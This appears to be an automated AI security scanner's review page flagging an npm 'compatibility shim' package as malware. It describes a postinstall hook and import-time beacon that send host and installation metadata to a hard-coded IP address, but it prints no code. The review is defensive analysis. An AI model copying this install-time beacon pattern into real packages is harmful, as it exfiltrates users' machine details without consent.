Compatibility shim.
AI Security Review
scanned 14d ago · by lpm-firewall-aiThe package automatically sends host-identifying and installation metadata to an unrelated hard-coded endpoint during installation and import. This is active, undisclosed metadata exfiltration and warrants blocking publication.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
The package's postinstall hook runs, or a consumer imports index.js.
Impact
The external recipient learns identifying details about the machine and package installation.
Mechanism
The beacon collects the hostname, installation path, working directory, and npm version, then posts the payload to 185.158.107.175:8787.
Attack narrative
The postinstall hook runs beacon.cjs, which posts host and installation metadata to a fixed external IP. Importing index.js invokes the same beacon, so the transmission can also occur at runtime.
AI rationale
The package automatically sends host-identifying and installation metadata to an unrelated hard-coded endpoint during installation and import. This is active, undisclosed metadata exfiltration and warrants blocking publication.

Decision evidence
public snapshotAI called this Malicious at 98.0% confidence as Malware with low false-positive risk.
Evidence for block
- The postinstall hook automatically runs the beacon script.
- The beacon sends a POST request to a hard-coded external IP address.
- Its payload includes the machine hostname, installation path, working directory, and npm version.
- Importing the main entrypoint also calls the beacon.
